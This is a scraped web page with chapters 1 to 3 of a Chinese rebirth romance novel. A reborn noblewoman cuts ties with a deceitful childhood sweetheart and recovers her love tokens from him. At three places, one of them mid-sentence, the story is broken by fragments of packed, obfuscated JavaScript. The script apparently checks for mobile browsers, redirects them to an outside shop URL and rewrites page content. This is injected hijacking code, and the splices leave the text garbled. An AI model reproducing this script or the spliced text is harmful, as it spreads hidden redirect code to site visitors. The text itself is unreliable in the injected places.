《踹负心竹马后嫁痴傻世子(重生)》 1. 第 1 章 说起京城里的这些贵人家,蜜珠最不了解的,就是南宁王府了。 在赐婚圣旨送来之前,她从未放过半点多余的注意力,到这户人家身上。直到皇上一张圣旨送来,让她三个月后与南宁世子成亲。 “小姐,小姐…你醒醒。” 耳边传来了熟悉的丫鬟小柳儿的声音。 蜜珠没有应。 “夫、夫人,小姐倘是太高兴了才会晕过去。” 小柳儿结结巴巴,一边帮蜜珠擦了擦脸上的虚汗,一边悄悄把小姐袖子里的荷包拿走,藏到了自己背后。 ——这里装的可是曲公子的亲笔信!可不能被任何人瞧见了。 啊啊啊曲公子前脚约小姐夜半相会,后脚就来了圣旨赐婚,这不是拆散一对苦命鸳鸯嘛。 蜜珠还未睁眼,所以并未察觉自己袖子里的荷包,已经被小柳儿拿走,她这会儿半梦半醒,像是被困在了梦境中,怎么都醒不过来,只听到娘在床边叹气。 “你不用帮她遮掩了,我都知道…” 王氏愁容满面,一张脸上过早爬上了许多细纹,瞧着就像是失去了雨露滋润的柳条,已经有了泛黄枯萎的架势,但模样还是极美的,很有江南女子的婉约。 “将那荷包烧了。日后不许门房再放外人送的东西进来…咳咳。” 王氏一边咳嗽,一边用帕子捂住了嘴。 不管从前那曲立封和女儿之间,是如何的情投意合,往后都是再无可能的了。 她摸着女儿的脸,见她紧闭双眸还未转醒,但却依然一副海棠盛开的绝色姿容,心中不免泛起许多担忧与苦涩。 她生了个这般好相貌的明珠,以至于哪怕已经谨小慎微不出风头,依然把名声传了出去,才给女儿惹来了这么一桩,叫人无法违心说一句好的亲事。 平心而论,南宁王世子不好吗? 哎,此事三言两语也说不清。 蜜珠一直昏沉睡着,好不容易挣脱了梦魇,睁开双眸时,就见小柳儿蹦过来,红着眼圈对她道。 “小姐!太好了,你终于醒了。” 比起蜜珠,小柳儿作为贴身丫鬟还要再小上个两岁,再加上心性单纯,遇到事情就容易没有章法,平日里又有些胆小。 这会儿圣旨赐婚的事,和曲公子传信要蜜珠见面的事儿,撞到了一起,顿时就叫这个小丫鬟六神无主了。 早先被她藏起来的荷包,都快被她掌心的汗水打湿了,攥久了,皱巴巴的,都没了之前的那种好看。 “小姐,夫人好像发现您和曲公子写信的事儿了,还让我把荷包烧了,往后不再放门房送任何外人的东西进来。” “老爷今日休沐,方才和同僚出门了。” “夫人请了大夫来看过你,这会儿去前厅了。” “大夫说你只是一时受惊,并无大碍,缓过来养养心神就好。” “我没叫夫人看到荷包,藏起来了。” 小柳儿语气紧张,说话很密,恨不得把蜜珠在晕过去的这段时间里,发生的所有事情,都全部说一遍。 蜜珠眨了眨眼,那双格外明亮水润的杏眼,就这么盯着小柳儿看了一会儿,像是不认识了对方一般。 “…小姐?小姐?” 小柳儿缩了缩脖子,还有些肉乎的脸蛋,瞧着白嫩嫩的,显露出几分稚气,一看就经不起吓。 那是蜜珠记忆里,小柳儿从前还未长开的模样——不曾被打骂、恐吓、威胁、磋磨,凋谢。也不曾被自己连累,最后哀愁死去。 想起来了。 上辈子的一切飞快从脑海浮现,蜜珠抬起柔弱无骨的手,轻轻按住眉心。 她重活了一世,回到了还未铸成大错,依然身处闺阁的时候。 也是刚刚得到了圣旨赐婚,前世崩溃大哭的时候。 到底是死过一回的人了,蜜珠发觉自己是如此平静。 “荷包呢。”她轻声开口,终于打破了小柳儿在她沉默中的慌乱状态。 “在这儿,我藏着呢。” 小柳儿见小姐终于开口了,忙不迭把荷包递过去,就像从身上卸下了一块大石头一般,整个人活了过来,轻吁了口气。 蜜珠接过这个前世将她拉入了万丈深渊的荷包,十根水润青葱的手指,轻轻解开绳结,将那里面藏了的纸团拿了出来。 “火折子。”蜜珠微微抬眸,看向小柳儿,手指勾了勾,莫名有些惑人。 她模样本就生得好,红唇不点而朱,哪怕此刻不做什么表情的样子,也颇有一股神仙妃子的明艳,那双剪水双瞳朝着小柳儿看去时,后者呆了呆才反应过来。 “哦。”小柳儿小跑着去去拿火折子,递给蜜珠。 怪哉呀,小姐怎的变好看了呢。 瞧着蜜珠的一举一动,小柳儿都忍不住愣神。明明脸蛋还是那张,没有变,但浑身气度与威仪,怎么看都像是多添了几分不一样的韵味。 “哎呀!小姐!”小柳儿瞧着蜜珠的动作,猛不丁叫了出来。 她亲手递过去的火折子,将纸团点燃了,轻松燃起了烟雾。 蜜珠把荷包里的信烧掉了。 “小姐!小姐!烧了它怎生是好!”小柳儿在一旁急得跳脚。 ——这可是曲公子的亲笔信啊!小姐怎么会把它烧掉啊。 在小柳儿眼中,自家小姐什么都好,出身富贵,又长得如此花容月貌,性情又是不必说的温和,反正什么样子的乘龙快婿都配得上。 可是偏偏…小姐青梅竹马一起长大的曲公子,运道有些不好,半路上家道中落,比起其他家的公子,自然少了一点儿和小姐在一起的底气。 本来这二人哪怕两情相悦,也总是背着老爷夫人,想着要等曲公子金榜题名了再来提亲,这就已经够难的了,而今却突然冒出来了陛下亲自赐婚。 这…眼瞅着这对鸳鸯就要被棒打。 想着前路,小柳儿都替自家小姐捏一把汗。 这两人要如何才能真正走到一起呀。而今小姐竟然连曲公子的信都烧了… 小姐莫不是因为圣旨赐婚的事,被刺激了,才会做出这样的举动? 小姐瞧着怪怪的。 “小…小姐…” 瞧着蜜珠镇定自若的将烧了的纸团,轻轻扔在地上。再看着它一点点变成灰烬,小柳儿竟是不敢说什么。 “柳儿,以后就照我娘说的那样做。门房再有什么东西递进来,一概不要。” 蜜珠终于抬眸,看向小柳儿,轻声开口。 小柳儿心里是一百个不明白为什么,却又不敢开口问。 能让门房递东西进来的,多半是曲公子啊。 往常小姐总是左盼右盼,望穿秋水一般等信,每封信都可宝贝的贴身藏在枕头下面,时不时就要拿出来看看。 这… 小姐从前那么喜欢曲公子呢,难道连他写过来的信,送的东西也不要了么? 她迟钝的记忆,还停留在自家小姐和曲公子两情相悦,这两人才是天造地设一对的印象上。 蜜珠瞧出来柳儿的困惑,想了想,一字一句对她道。 “柳儿,你记住,圣旨已接。我将来是必定要嫁进南宁王府的,这个时候若和其他男子有什么往来,被人传出个私相授受的名头,不仅是我的名声,就连整个府里所有的女眷,都会因此受影响,往后婚配嫁娶困难,相比之下是小事。” “重要的是,圣上也会因此责罚我爹,牵连整个太史令府。” “何为重,何为轻,能分清么?” 在小柳儿印象中,自家小姐性情温柔,从来没有用过这么严肃的语气说话。 虽然讲话时,那张脸还是美的,却因着这格外郑重的语气,和仿佛能看穿自己的眼神,一下子让小柳儿就跟被寒冬腊月里的冷水,兜头浇了一盆似的,整个人都醒了过来,意识到了曲公子私底下给小姐送信,这件事的严重性。 是哦。 她家小姐已经被赐婚了。 这可是当今皇帝赐的婚,哪里能有拒绝的余地。万一皇帝不高兴了,他要杀头… “我知道了小姐。可不敢再收曲公子的信…” 小柳儿呐呐抿着唇,脸都被蜜珠这番话吓白了。 见小柳儿听懂了自己的意思,蜜珠脸上神情松缓了些许,摸了摸对方脑顶。 “不是怪你。” “我与曲立封之间,本就有缘无分。从前发生了什么,就且不提了。而今圣旨全京都知道,从此刻开始,就该忘记和他过去的一切前尘往事。” “就当这个人不存在。记住了?” 蜜珠轻声细语,但话却显得很锋利,放在从前,她是万万说不出如此犀利直白果决的话的。 可任凭谁经历过一世磋磨,再重新回到当初,都会和她一样改变的。 小柳儿虽然也觉得自家小姐,瞧着和从前不一样了,但她心性简单,又是个忠心的性子,只要蜜珠和她叮嘱过的事情,她就会放在心上。 “好,我会记住的小姐。”小柳儿乖乖点头。 这副模样,恍惚间让蜜珠想起了小柳儿前世惨死的样子,一种迟来的锥心之痛冒出,蜜珠收回了抚摸小柳儿脑顶的手,有些难言的愧疚。 她不会再让上辈子的事情发生了。 只要不再被猪油蒙了心,与曲立封发生交集,不走错姻缘这步路,就不会再落入上辈子那样的境地,也不会因此而连累爹娘和整个蜜府。 蜜珠将自己的思绪收回,不再沉浸于上辈子的情绪里。 眼下最要紧的事情,还是处理好曲立封,将自己落在对方身上的定情信物收回来。 南宁王世子虽然自幼痴傻,身子也病弱,但到底是京中一门显贵。 这桩婚事是陛下所安排,她若是在这中间出了点什么差错,不仅是落的南宁王的面子,还是触怒龙颜。 想想真是好笑,上辈子她是怎么了,竟然会一厢情愿以为青梅竹马的曲立封是个良人,一头脑热的跳进火坑,甚至甘愿为对方违了圣旨。 也就是前世运气好,圣旨赐婚后不久,南宁王世子忽然暴病而亡,让这桩婚事不再作数。 才有了她后来和曲立封在一起成亲的事。 否则… 蜜珠心中思忖着这些,开始梳理接下来要做的事。 曲立封并不是什么君子,这一点蜜珠上辈子已经领教了个彻底。 从自己选择与曲立封私奔,又在事后拿出所有嫁妆填补对方,就是走了一步将来必定会后悔的路。 曲立封功成名就成为首辅时,她成了弃子。对方说自己另有所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078456|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱之人,然后将她软禁,就连自由都不给。 可叹她那时家中已经无人能给她撑腰,只能这么郁郁而终。 而跟在她身边的小柳儿,也因为她受了无数的磋磨… 天色渐晚,蜜珠坐在了梳妆桌前,看着铜镜里的自己,摸了摸鬓发。 十几岁时的绝色容颜回来了,不再是上辈子郁郁而终时,那么疲惫憔悴与苍白的模样。 无论是因为什么样的原因,重活了一世。 她都下定决心,这辈子一定会好好活,不辜负自己。 * “少主,这门婚事成了,咱们还能出京城吗?” 马背上的黑衣男子,看向前方领头的那人,语气里满是茫然。 怎么回事啊。 少主都在京城傻了十七年了,连皇宫都很少进,在外人眼里,就是个大门不出二门不迈,需要在家里好好养着的傻药罐子。 皇帝也不知道怎么了,竟然想着给少主指一门婚。 给傻子指婚,谁家好闺女愿意? 哎,这不是强买强卖嘛。 当然,重要的不是这个,重要的是——少主这个在别人眼里傻了的世子,倘若真的成了亲,有了枕边人,往后岂不就跟鹰被套住了爪子,马被套上了脖子,不自由了? 谁能在媳妇底下装傻,还跑出那么远,离开京城? 这样的话,他们那些事儿没了少主管着罩着,岂不是要乱! 黑子想着这些,脸上的汗都流的快了一些。 “少主,你回我一声啊。你要成亲了,这咋办?” 在他前面的男子,勒住了马缰绳,不冷不淡回了一句。 “娶呗。” 黑子被这话噎了一下,缓了缓,才策马追上去。 “不是,少主啊。这可是成亲,是关乎一辈子的终身大事。你咋能认命!” “万一那皇帝给你塞了个丑婆娘,哦,一个泼妇,你也娶?” 帮派里的局势,好不容易因为少主稳定下来,咋能这个时候让少主当甩手掌柜。 追到了少主跟前时,只能看到少主戴了面具后,露出来的一截下巴。 这么久了,黑子都没见过自家少主的庐山真面目,只猜测对方是不是脸上受过什么伤,或者长得有些不尽如人意,才不想让人看到? 害,但江湖中人嘛,都是不拘小节的真英雄,哪里还会因为男儿的一张脸,去挑剔个什么。 大概也是因为少主出身皇族权贵,才会那么金贵,在乎那么多。 听说京城里的那些姑娘啊,都爱追捧那些个俊俏的男子。 啧啧啧,这样一想,皇帝老儿给少主安排的这门亲事,多半都好不到哪里去。 正经人家的漂亮好闺女,哪里愿意嫁给传说中的痴傻南宁王世子,当个将来一辈子独守空房的老尼? 被称作少主的男子,面具后的唇扯了扯。 “你跟了我这么久,帮派里的事若还不能独当一面,要你何用?” 一句话直接把黑子说的哑了声,他试图转移话题。 “少主,不若我帮你暗中去查查,看看你那素未谋面的未婚妻,是个什么模样。万一…” 黑子想开个玩笑,说万一是个丑婆娘,那不如帮少主暗中解决,制造点不能在一起的意外。 然而他的话还没说完,戴着一张木质面具的男子,幽深的双眸看了过来。 这哪里是什么好脾气的豪门贵公子啊,明明就是会噬人的猛虎。 黑子的声音戛然而止,心口凉飕飕,仿佛被戳了一剑。 完了要忘了,少主可不是什么好开玩笑的人。 帮派里那么多手里沾了无辜人命的人,在少主这儿就跟扒了层皮似的,没一个有好下场,可谓是把帮派里的毒瘤给清理了个干净。 黑子毫不怀疑,倘若自己真有那些个什么歪心思,为了阻止少主企图对那无辜未婚妻做点什么,少主会先动手把自己宰了。 “开玩笑,我就是开玩笑,嘿嘿掌嘴,我自己掌嘴。”黑子连忙赔笑,扇了自己两耳光,又轻又脆,用行动来表示自己刚才那些话都是随口说的。 不过…说真的,他是真挺好奇,少主那未婚妻是个什么模样的。 毕竟此次回京,晴姑娘私底下拜托过他,若是知道了少主未婚妻是何方神圣,麻烦给她修书一封写在信里。 想到晴姑娘对少主的痴心一片,他就想叹息。 少主这人瞧着有情有义,又能为百姓做些好事,但骨子里却是个冷情的,压根就没有什么儿女情长的心思在。 倘若将来真的有一天,有哪个姑娘能让少主如痴如狂情根深种。 诶嘿,他可要好好开眼了。 * 选择在如此静寂的深夜出门,于蜜珠来说,是第二次。 第一次在前世。 曲立封在赐婚圣旨到来的前一日,给她写了信,让她在第二日深夜,在后山相会。 用脑袋想也知道,男未婚女未嫁,但凡是正人君子都不会趁着深夜,去拐一个千金小姐出来幽会,但凡被人抓到就是个名节扫地。 偏偏前世她被曲立封的花言巧语冲昏了头脑,什么危险都顾不上了,一门心思想着要和曲立封双宿双飞,有那样的下场也是咎由自取。 2. 第 2 章 “小姐…我们、我们不去了吧。”小柳儿还从来没在深夜这样偷偷溜出门过。 她拉着蜜珠衣服下摆,很努力地想要把自家小姐往回拉。 天知道这个时辰出去,会不会遇上什么坏人。 小姐也太胆大了吧。怎的赐婚圣旨一来,小姐的性情就变了这么多。 “要去。”蜜珠抿紧唇,见贴身丫鬟瑟瑟发抖,快要晕过去的模样,开口道。 “你若怕,就在家等着。” 她说了这话,小柳儿立刻疯狂摇头。 “不,我得陪着小姐。” 大概是生怕蜜珠真的一个人出去,小柳儿心里因为急切,反而生出了几分勇气,两条腿能站稳了,脑子也转得快了。 “曲公子为何要在夜里见小姐?” 往常将曲公子看成和小姐一对时,对方做什么,小柳儿都往好的方面去想。 而今再想时,就琢磨出了几丝不妥。 夜半相会,简直就是损害自家小姐的名誉。 蜜珠瞧着丫鬟脸上的神情变幻,微微勾唇。 “你也想明白了?孤男寡女夜半相会,他打的什么主意,哼。” 垂下眼时,蜜珠对柳儿附耳了一番。 “……等会你就按我说的做。” 小柳儿脸上露出了迟疑之色。 “可是…这样旁人不就知道了?” 蜜珠:“你不用管这些。记着我让你喊的人。” 小柳儿站在呐呐看着蜜珠神情,见自家小姐莫名有种气定神闲的镇定,自己不觉也被感染了几分,跟着平静了下来。 …… 打更人约莫还要再过些时辰,才会再经过蜜家门前的小路。 后院一向没什么人,到了夜里更是人迹罕至,连鸟儿都嫌这安静冷清。 蜜珠到底是弱女子,看着后院的墙,想了想还是放弃了翻墙的打算。 她从后门走出时,一直守在那儿来回踱步的黑影听到了动静,一个激灵迎了过来。 “珠儿?珠儿?” 曲立封早就等急了,生怕蜜珠今夜不出来,早在此地徘徊了许久,看到有人影出来,他一时之间也不敢认,只是保留了一段距离轻声询问。 大有一种如果对方不是蜜珠,是其他人,他就马上逃跑的做派。 他也不是不知道赐婚圣旨已经下来的事儿,但到底蜜珠就是放在他嘴巴旁边的一块肉,只要过了今夜,这块肉就能吃到嘴里。 曲立封想着蜜珠这身冰肌玉骨,还有对方往日里对自己的温柔小意,就硬不下心肠舍去这块肉。 月亮刚好从一朵乌云后面,露出了全貌,光洒在曲立封脸上,将他照了个清楚。 蜜珠停住步子,看清对方时,指甲狠狠扣在了自己掌心,几乎要掐出血痕来。 曲立封还是那副模样,和前世多年之后变成首辅时相比,虽显得青涩了些许,那副容貌还是能打的,瞧着衣冠楚楚,很是正人君子的模样。 那张脸也是如此,若是真的中了状元或者探花,想必是能让人做出那种榜下捉婿的容貌。 前世曲立封和自己相处中,发生过的那些种种虚伪,一一从脑海浮现。 蜜珠借着掌心的刺痛,让自己脸上挤出了笑容。 “是我。” 曲立封听到她的声音了,才一个箭步冲过来,要去握蜜珠的手。 “怎的才来?可让我等坏了。” “这几日你总在府中,若不是我想法子让人给你传信,我们哪里能见得到面?” 曲立封说着说着,脸上就露出了急不可耐的神情。 “珠儿,圣旨下来了,你听我的,得想个法子为咱们在一起铺路。否则等到南宁王府真的反应过来,和你们提亲,这事情就板上钉钉了!” 这些话,听着和前世一样,就连台词顺序都没变。 曲立封一方面表达自己对蜜珠的情深义重,一面又拿出圣旨赐婚的压力,迫使蜜珠忐忑慌乱。但凡女子只要一被男子掌控了情绪,就容易露出柔弱模样,将自己的前途与身家,全部交到看似贴心重情的情郎身上。 曲立封前世一步步骗取蜜珠的情意、嫁妆时,按照这番流程来做,屡试不爽。 可惜蜜珠已经不是前世的蜜珠了。 她垂下眼,配合的展露出了几丝忐忑。 “曲郎,我害怕。”说这话时,自己都想作呕。 见蜜珠被自己方才说的那些话吓到了,曲立封走近一步,作势要去搂她安抚。 “怕什么,不是有我么。哪怕有圣旨,我依然是要娶你的。珠儿,你知道我对你的情有多深,我们青梅竹马,是月老都要牵线在一起的人。凡事有我。” “阿秋。”蜜珠捂住手帕,打了个喷嚏,打断了曲立封的表演。 曲立封顿住。 蜜珠捂着唇,似乎很过意不去,白皙的一截天鹅颈,从衣领后露出些许,莫名让人怜惜,很有柔弱女儿家的那种羞涩。 “曲郎,外面太冷了,我得回去了…咳咳”蜜珠抬眸,装作咳嗽。 她根本不按曲立封拿的剧本去走,每句话都和对方设想的不一样。 曲立封心中一急,他趁着那么晚将蜜珠喊出来,可不是为了匆匆见一面就让她回去的。 “珠儿,我定了一间客栈,就在前头不远…我还有许多话与你说,若不将这些话讲清楚,往后再难见你,叫我怎么活?” “这儿有风,走远些吧。”曲立封缓缓诱导蜜珠离开身后的府邸。 他打的是趁无人注意的时候,先想法子和蜜珠生米煮成熟饭。 女儿家都那样,面皮薄,又在乎自己的身子,倘蜜珠能从了他,将来无论怎么安排两人的事儿,左右都是顺着他来。 这些思量都是放在心里的,在面上,曲立封做的非常好,半点不透露自己的真实算计。 蜜珠忍住了想扇对方耳光的念头,放下了捂住嘴唇的帕子,只哀愁看着对方。 “曲郎,我那日做了噩梦,梦见我送你的贴身信物,被你扔了,弄丢了。你且先拿出来,让我瞧瞧?” “人常说,做梦就是一个警示,我怕…” 蜜珠一眨眼,泪珠子就成串落了下来,半点耽搁都没有,泪水涟涟的模样,是说不清的梨花带雨我见犹怜。 前世她就知道自己的容颜好,但那却因为性情被管束得过于严格,心中总有一种自己低于别人的卑微感,以至于当曲立封透露出对自己的情愫时,她立刻就将自己放到了很低的位置去付出,而忽视了自己原本拥有的东西。 上辈子经历的所有磋磨,都将那些不切实际又虚幻的情绪磨去了,蜜珠知道自己在变,变成了一个已经会使用手段的人。 她这样楚楚可怜的和曲立封说话,花容月貌的脸蛋,当然是万种风情。 曲立封正是对她情愫正浓的时候,哪怕这种情愫是经不起什么考验,还掺杂了许多算计的,但鉴于她从前的单纯形象,这会儿的每一滴眼泪,都在对方眼中显得那么情真意切,放大了她的柔弱,充分激发出了男人的保护欲。 曲立封一时间忘了自己的初衷,瞧着蜜珠这般泪水涟涟,简直心都疼起来了,只想止住蜜珠的眼泪。 “那只是梦!你绣的荷包与帕子,我都贴身放着,怎么会丢!” 为了证明自己的说法,曲立封当即就从怀里,把这两样东西掏了出来。 这是上次蜜珠过生辰的时候,给曲立封绣的。 也是她此次想要拿回来的定情信物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078457|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不然这玩意在曲立封这样的伪君子手中,将来必定会成为一个毁灭自己的要挟物。 “真的…是梦啊。”蜜珠抽噎了一下,轻轻伸手,将荷包与帕子拿在手里,端详着看了一会儿。 “这帕子和荷包绣工不好。待我绣活儿变好了,回头给你绣一个更好的。” 她很自然地将帕子与荷包塞进自己怀里,眨巴着泪莹莹的眼眸看曲立封。 这让隐约觉得有些不对的曲立封,脑袋一瞬间浆糊了一会儿。 蜜珠的的确确是个不可争议的大美人,无论是窈窕身段,还是一颦一笑里的风情,还是无可挑剔又精致绝伦的五官,都让人看了想屏息静气。 往常蜜珠显得有些木讷,神情总是畏缩胆怯的,就少了几丝味道。今夜不知怎么的,她瞧着就是和过去不一样了,举手投足藏了几丝妖娆的意思。 那双杏眼带了水光,就这么轻轻瞥着曲立封,他就觉得骨头都跟着酥软了,下意识跟着对方的话点头。 “好…莫要太用心,伤着了眼睛。” 蜜珠冲她盈盈一笑,唇边梨涡愈发潋滟惑人,眼儿也像天上的月牙,微微有着弯起的弧度,既甜又清纯。 “曲郎真会心疼我。” “我要回去了。”蜜珠眨眨眼。 曲立封这才觉出不对来,这和他计划的不一样。 他是想借着夜深人静,想将蜜珠带去无人的地方,好成了事儿。 他如今家道中落,很是落魄,正是需要银钱的时候,蜜珠若能对自己死心塌地,多少能让他资财充盈一些。 哪怕蜜珠已经和南宁王世子有了婚约,但这又何惧。那世子只是个傻子,傻子会懂如何洞房吗? 他先下手为强,只是在帮王府做好事。 原本他对蜜珠极为了解,晓得这是个标准的闺阁小姐,没什么主见,一吓就容易六神无主,只要借着自己在对方心里的地位,稍微哄个几句,就能让这姑娘跟着自己走。 可蜜珠方才那些话,几乎将他的计划完全打乱。 曲立封一时间甚至分不清,到底是蜜珠对自己更痴迷一些,还是自己反被对方迷住了。 “珠儿…我好不容易见到你一次…你该给我点功夫,让我想想我们俩该怎么办?” 他伸手去拉蜜珠的身影,却看到她咬着唇摇头。 “曲郎,为了你好,往后还是别来找我了。” 话音落下,蜜珠往后退了一步,与此同时,从她身后的后门里,走出了三四个家丁。 “给我抓住他,打。” 蜜珠捏着手帕,轻轻擦着自己的唇,冷下来的脸,瞧着宛若冰山上的仙子。 这哪里还有半点方才泪光楚楚的模样。 曲立封反应不及,清俊脸上露出了震惊与诧异神情,睁大了眼。 家丁们就像商量过一样,充满默契地一拥而上,将曲立封围住。 有一人一把捂住他的嘴,用布条堵上,有一人扭住他的胳膊一下子捆住,还有一人朝着他腿后窝的地方一踹,曲立封整个人狼狈地跪在了地上。 “你们做什么?!放开我!放开!” “珠儿?珠儿你怎么了?” 蜜珠听他这般叫唤,只是冷声开口:“堵他的嘴。” 被喊来的家丁都是最忠心的,闻言立刻拿了个破布条,将曲立封的嘴一堵。 “唔唔唔!” 曲立封奋力挣扎,却木得用。 他震惊地抬头,不敢置信地望着蜜珠。 往日在他心里好骗又好哄,甚至有些蠢笨的蜜珠,陌生到像是变了个人。 看着他的眼神,也是如此冷淡,甚至藏着些许掩不住的仇恨,令人心惊。 这还是他那个天真单蠢的青梅吗? 3. 第 3 章 对曲立封来说,今夜原本该是自己春风得意洞房春宵的一夜。 反正蜜珠将来要嫁的,是南宁王府的痴傻世子。 傻子懂什么洞房,蜜珠能与自己互通情意,反而算是尝到了为人妇的滋味儿。 况且蜜珠一向好哄,被养在深闺之中,几乎不怎么与生人来往,哪怕是在京城里的贵女中,都是数一数二谨言慎行又胆怯拘束的性子。 这才让曲立封敢去动这样的念头。 凭着他对蜜珠的了解,只要自己表现出一副情深不悔的样子,就能让方寸大乱的蜜珠更加死心塌地的相信他。 哪怕是嫁到了南宁王府,成了世子妃,想必蜜珠依然能为自己付出一切。 他拿捏了这些,才揣度着想做今夜的这事儿。 未曾想,竟然阴沟里翻船。 在他预想中手到擒来的蜜珠,怎么会忽的这般模样? 曲立封受了不小的惊吓。 以至于被家丁们捆住了手脚,还堵着嘴,被反剪了双手扔到柴房时,整个人都是懵的。 他甚至怀疑,此刻是不是正在做梦? 不然他那青梅竹马,事事都对言听计从的珠儿,怎会让人这么对自己? 柴房地上冰冷,家丁奉令,往曲立封身上兜头泼了几盆冷水。 小柳儿打着哆嗦,站在柴房门口,想着刚才背下来的词儿,大声道。 “相交十五载,没想到曲公子竟然是这等无赖之徒,竟然妄闯蜜府,想要行那等腌臜之事!” “龌龊!粗鄙狂徒!呸!” 曲立封在冷水和言语的双重攻击之下,终于从懵逼状态,一点点燃起了怒火,原地破防,眼睛都亮起了恶毒之色。 “唔唔唔…”他扭动身体,然而根本挣不开捆绑的布条,只有嘴巴在无能发声。 该死的贱妇! 蜜珠竟敢耍弄他! 狂怒的火焰,几乎要冲昏曲立封的头脑。 他真的是一万个想不通,往常对自己百依百顺的蜜珠,怎么会勾结外人来对付他? 以他对蜜珠的了解,从前对方的那些女儿家情愫,是实实在在没有任何掺假的。 怎么会如此? 是啊,怎会如此啊? 迎接他怒火的,是“嘎吱”一声关上的柴房。 小柳儿传完刚才那番话后,就一溜烟跑了。 只剩下曲立封被关在柴房中,眼睛快瞪到裂开了,也没人过来承受他的怒目注视。 …… “小姐,曲公子被关到柴房了。” 小柳儿老老实实跑去和蜜珠汇报。 刚刚褪了外衣,准备躺回榻上的蜜珠,将枕头推开了一些,抱在怀里道。 “那去睡吧。” 小柳儿:“哦。” 可是… 天呐,也不知道该怎么说,小姐竟然把曲公子抓起来关上了。 这事儿着实有些震撼,以至于小柳儿缓不过神,这会儿脑袋还嗡嗡的,双眼也有些发直。 蜜珠冲她勾勾手指,示意她过去。 小柳儿顶着一脸茫然,缓缓挪步子,走到近前时,蜜珠手撑着脑袋,侧躺在床上,对她道。 “曲立封知道我已经有了未婚夫,被圣上赐婚,却还要约我半夜见面,甚至试图诱拐我去客栈两人私会,你说他是不是其心可诛。” “这等男子,只会仗着昔日的情谊,还有那张脸,说些堪比毒药的甜言蜜语,来诱哄无辜少女,达成自己那见不得人的目的。柳儿,你想想看,这样的人,若是从了他的意,会怎么样?” 柳儿虽年纪小些,平日里显得天真单纯了点,但在涉及到蜜珠的事情上,总是能及时有主心骨和判断力,知道什么叫是非对错。 蜜珠这么一提点,她对曲立封那一点儿同情,立刻抛到了九霄云外。 “小姐,你说的太对了!”说着说着,她都开始生气。 好一个曲公子,怎么敢对小姐存着那样的龌龊心思! 见自己的贴身丫鬟已经理清了思绪,蜜珠将撑着脑袋的手放回了被子里。 “睡吧,明儿再说。” 这话落下不到几息,蜜珠就进入了梦乡。 她太累了。 今夜看着将曲立封随身带着的定情信物拿回来,显得那么轻描淡写,但只有她自己心里才明白,这其中的艰难不易。 面对上辈子毁了自己一生的负心汉,她能忍住情绪起伏,没有当场弄死对方,已经拿出了所有的忍耐和克制力。 曲立封毕竟是有秀才功名的人,而今事情也还没有到前世发展的那一步。 对方对自己的一切伤害,都只存在于上辈子的记忆里。 这才是她只让家丁将曲立封捉起来,却不马上发落的原因。 她才重生,她的生命非常宝贵,不应该在这些烂人烂事上,花费太多的精力。 小柳儿瞅着自家小姐睡了,轻手轻脚过来,帮她掖了掖被子,这才缓缓退出内室,去到外面守夜。 蜜珠能睡着,小柳儿却睡不着。 她忍不住在想,明儿老爷夫人醒来,知道了府里发生的事情,会怎么样啊? 哎呀,真愁人。 小鸡啄米地点着脑袋,小柳儿也睡着了。 反正太阳总是要每天升起的,第二天也不例外。 * 蜜老爷今日一醒来,就发觉自己的正房夫人王氏,正坐在床边,一脸欲言又止地望着自己。 这可把他吓得不轻。 前些日子,他可是听了一段秘闻,说是有一户人家的男子,过于宠妾灭妻,多年折磨正房夫人,然后被正房咔嚓了。 他下意识摸了摸自己被子下的两腿和物件,这才放下心来,心道是自己过于小心了。 成亲之后,除了最开始的那段日子,他和夫人之间有过一些温情,后来随着时间过去,渐渐也就变得不爱来正房这儿睡了。 这两日也是因着蜜珠被点了鸳鸯谱,将要与南宁王府成亲,蜜老爷心中到底是高兴多一层,便比之前多了几丝亲近。 他卡在太史令这个位置上,在朝堂上多年以来,一直像个隐形人,不曾得到过什么多的关注。 虽说也能算个五品,但到底是在京城,就跟小虾米混入了海里,四周都是大鱼和吞人的鲸鱼,哪里有他显出能耐的地方。 可这道赐婚,却是让他一下成了众人关注的重心。 不管南宁王府的前身,是有多么复杂,只要有长公主在,凭着长公主和皇帝之间的兄妹情谊,蜜珠嫁入了南宁王府,就相当于让他们蜜府多攀上了一门好关系。 毕竟京城里所有人都知道,南宁王这个封号,也是因着长公主当年想嫁给对方,才让皇帝破格给了这个王位。 由此可见,陛下哪怕是爱屋及乌,也会因着长公主的这层情面,对他们蜜家多几丝关照的。 那升官封爵不就指日可待么。 蜜老爷想着这些,这两日才会常常来王氏这里歇息。 毕竟不日女儿就要嫁进王府了,王氏若能好好和女儿联络感情,也是帮了他的忙。 在仕途一道上,哪怕蜜老爷苦心钻营,却因着没有门路,始终卡着个五品官员的身份,只能堪堪上个朝。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078458|137955||http|test|mini|href|location''.split(''|''),0,{})); () { 